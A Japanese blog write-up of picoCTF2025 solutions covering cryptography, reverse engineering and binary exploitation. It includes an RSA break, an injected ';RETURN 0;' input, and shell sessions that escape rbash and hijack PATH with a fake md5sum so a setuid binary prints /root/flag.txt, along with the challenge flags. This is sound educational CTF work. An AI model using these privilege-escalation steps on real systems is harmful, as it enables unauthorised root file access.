はじめに
Works Human Intelligenceでエンジニアをしている kotenpan です。
picoCTF2025にWHIの有志でチーム参加しました。最終的に3810ポイントを獲得し、570位/10460チームという結果になりました。去年の年末からCTFに取り組み始めた初心者ですが、初心者ながらもかなり健闘できたのではないかと思います。CTFたのし~^^
復習もかねてpicoCTF2025のwriteupを書いていきます。人生で初めてwriteupを書くので、CTFつよつよお兄さんお姉さんの方々は温かい目で見守ってくださると幸いです。
量が多すぎると自分のやる気が低下してしまうので、この記事では Cryptography / Reverse Engineering / Binary Exploitation について書きます。
Web Exploitation の writeup はこちら
Cryptography
[Easy] hashcrack - 100pts
nc すると hash がいくつか与えられるので crackstation に投げればいい。
hash は SHA5、SHA1、SHA256 の三つが与えられる。
picoCTF{UseStr0nG_h@shEs_&PaSswDs!_869e658e}
[Easy] EVEN RSA CAN BE BROKEN??? - 200pts
from sys import exit
from Crypto.Util.number import bytes_to_long, inverse, long_to_bytes
from setup import get_primes
e = 65537
def gen_key(k):
"""
Generates RSA key with k bits
"""
p,q = get_primes(k//2)
N = p*q
d = inverse(e, (p-1)*(q-1))
return ((N,e), d)
def encrypt(pubkey, m):
N,e = pubkey
return pow(bytes_to_long(m.encode('utf-8')), e, N)
def main(flag):
pubkey, _privkey = gen_key(1024)
encrypted = encrypt(pubkey, flag)
return (pubkey[0], encrypted)
if __name__ == "__main__":
flag = open('flag.txt', 'r').read()
flag = flag.strip()
N, cypher = main(flag)
print("N:", N)
print("e:", e)
print("cyphertext:", cypher)
exit()
Nが偶数になっているので、get_primes が壊れていそう。
どうやら片方の素因数が2で固定されているっぽい。
この場合、オイラーのトーシェント関数は n // 2 - 1 で計算できる。
from pwn import *
host = {host}
port = {port}
def getN():
r = remote(host, port)
r.recvuntil("N: ")
N = int(r.recvline().strip().decode())
r.recvuntil("cyphertext: ")
c = int(r.recvline().strip().decode())
r.close()
return N, c
n, c = getN()
e = 0x10001
p = 2
q = n // 2
phi = q - 1
d = pow(e, -1, phi)
m = pow(c, d, n)
m = hex(m)[2:]
print(m)
CyberChef の From Hex を使ってフラグ獲得。
picoCTF{tw0_1$_pr!m33486c703}
2*p*q
の形なんじゃないかと勘繰ってしまい、素因数分解のコードをゴリゴリ書いていたが意味なかった。 long_to_bytes
でいつも復号していたので hex だということにすぐ気づけなかった。なんでもかんでも long_to_bytes
しちゃだめだということを学べた。
[Medium] Guess My Cheese (Part 1) - 200pts
謎の世界観
*******************************************
*** Part 1 ***
*** The Mystery of the CLONED RAT ***
*******************************************
The super evil Dr. Lacktoes Inn Tolerant told me he kidnapped my best friend, Squeexy, and replaced him with an evil clone! You look JUST LIKE SQUEEXY, but I'm not sure if you're him or THE CLONE. I've devised a plan to find out if YOU'RE the REAL SQUEEXY! If you're Squeexy, I'll give you the key to the cloning room so you can maul the imposter...
Here's my secret cheese -- if you're Squeexy, you'll be able to guess it: RIZJYAYEUWUW
Hint: The cheeses are top secret and limited edition, so they might look different from cheeses you're used to!
Commands: (g)uess my cheese or (e)ncrypt a cheese
What would you like to do?
チーズが暗号化されているらしい。ちゃんとチーズの名前を入れないといけないところが面倒ポイント。
What cheese would you like to encrypt? Mozzarella
Here's your encrypted cheese: AYNNMVIBBM
換字式暗号かなと思い手動で試してみるとルールに気付く。
ABCDEFGHIJKLMNOPQRSTUVWXYZ
MLKJIHGFEDCBAZYXWVUTSRQPON <- アルファベット逆順
あとは復号するだけ
_ _
(q\_/p)
/. .\ __
,__ =\_t_/= .'o O'-.
) / \ / O o_.-`|
( (( )) )' O |
\ /\) (/\ ) o|
`-\ Y / ) O.-`
nn^nn ) _.-'
'--`
MUNCH.............
YUM! MMMMmmmmMMMMmmmMMM!!! Yes...yesssss! That's my cheese!
Here's the password to the cloning room: picoCTF{ChEeSyb3e5eba8}
Reverse Engineering
[Easy] Flag Hunters - 75pts
# Print lyrics
line_count = 0
lip = start
while not finished and line_count < MAX_LINES:
line_count += 1
for line in song_lines[lip].split(';'):
if line == '' and song_lines[lip] != '':
continue
if line == 'REFRAIN':
song_lines[refrain_return] = 'RETURN ' + str(lip + 1)
lip = refrain
elif re.match(r"CROWD.*", line):
crowd = input('Crowd: ')
song_lines[lip] = 'Crowd: ' + crowd
lip += 1
elif re.match(r"RETURN [0-9]+", line):
lip = int(line.split()[1])
elif line == 'END':
finished = True
else:
print(line, flush=True)
time.sleep(0.5)
lip += 1
歌詞を出力するコード。for line in song_lines[lip].split(';'):
と re.match(r"RETURN [0-9]+", line):
が利用できそう。
入力を求められるタイミングで
;RETURN 0;
を入力したらフラグが帰ってきた。
picoCTF{70637h3r_f0r3v3r_509142d4}
[Medium] Tap into Hash - 200pts
ブロックチェーン形式で暗号化している。
AIに投げたら全部書いてくれてちゃんと動作もした。
人間いらないかもしれない。
import hashlib
key = b'鍵'
key_hash = hashlib.sha256(key).digest()
def decrypt(ciphertext, key_hash, block_size=16):
plaintext = b''
for i in range(0, len(ciphertext), block_size):
block = ciphertext[i:i + block_size]
plain_block = xor_bytes(block, key_hash)
plaintext += plain_block
padding_length = plaintext[-1]
return plaintext[:-padding_length].decode('utf-8', errors='ignore')
def xor_bytes(a, b):
return bytes(x ^ y for x, y in zip(a, b))
encrypted_blockchain = b'暗号文'
decrypted_data = decrypt(encrypted_blockchain, key_hash)
print("Decrypted Data:", decrypted_data)
picoCTF{block_3SRhViRbT1qcX_XUjM0r49cH_qCzmJZzBK_8bb7bc38}
[Medium] Quantum Scrambler - 200pts
実験したら、暗号文として与えられた配列を二次元配列としてみたときに、各要素の先頭と最後がflagの一部になっていることが分かった。
cypher = [] #暗号
for i in range(len(cypher)):
print(cypher[i][0], cypher[i][-1], end='')
これを実行すると、
0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x70 0x79 0x74 0x68 0x6f 0x6e 0x5f 0x69 0x73 0x5f 0x77 0x65 0x69 0x72 0x64 0x62 0x35 0x37 0x31 0x34 0x32 0x66 0x66 ...
CyberChefに入れてフラグ獲得
picoCTF{python_is_weirdb57142ff}
Binary Exploitation
[Medium] hash-only-1 - 100pts
flag を md5hash したのを出力してくれるバイナリらしい。
strings で怪しい処理を見てみる。
ctf-player@pico-chall$ ls
flaghasher
ctf-player@pico-chall$ ./flaghasher
Computing the MD5 hash of /root/flag.txt....
4d4f660d53535446f15c1a3a7b535e50 /root/flag.txt
ctf-player@pico-chall$ strings flaghasher
// 省略
u+UH
[]A\A]A^A_
Computing the MD5 hash of /root/flag.txt....
/bin/bash -c 'md5sum /root/flag.txt'
Error: system() call returned non-zero value:
:*3$"
zPLR
// 省略
ghidraで逆コンパイルしたら setgid(0);
setuid(0);
を使っていた。
PATHを変更することで偽のmd5sumを実行すればflagを直接出力できそう。
ctf-player@pico-chall$ echo '#!/bin/sh' > ./md5sum
ctf-player@pico-chall$ echo 'cat /root/flag.txt' >> ./md5sum
ctf-player@pico-chall$ chmod +x ./md5sum
ctf-player@pico-chall$ export PATH=.:$PATH
ctf-player@pico-chall$ ./flaghasher
Computing the MD5 hash of /root/flag.txt....
picoCTF{sy5teM_b!n@riEs_4r3_5c@red_0f_yoU_ae1d8678}
[Medium] hash-only-2 - 200pts
ほぼ同じ問題。ただrbashで操作が制限されているところがいくつかある。
ctf-player@pico-chall$ flaghasher
Computing the MD5 hash of /root/flag.txt....
d77111adc0e4a3034d6e0dac135d32a8 /root/flag.txt
ctf-player@pico-chall$ which flaghasher
/usr/local/bin/flaghasher
ctf-player@pico-chall$ strings /usr/local/bin/flaghasher
// 省略
u+UH
[]A\A]A^A_
Computing the MD5 hash of /root/flag.txt....
/bin/bash -c 'md5sum /root/flag.txt'
Error: system() call returned non-zero value:
:*3$"
zPLR
// 省略
bash
でrbash
から抜けることができたので、あとは hash-only-1 と同じ手順でフラグが獲得できた。
ctf-player@pico-chall$ bash
ctf-player@challenge:~$ ls
ctf-player@challenge:~$ echo '#!/bin/sh' > ./md5sum
ctf-player@challenge:~$ echo 'cat /root/flag.txt' >> ./md5sum
ctf-player@challenge:~$ chmod +x ./md5sum
ctf-player@challenge:~$ export PATH=.:$PATH
ctf-player@challenge:~$ flaghasher
Computing the MD5 hash of /root/flag.txt....
picoCTF{Co-@utH0r_Of_Sy5tem_b!n@riEs_9c5db6a7}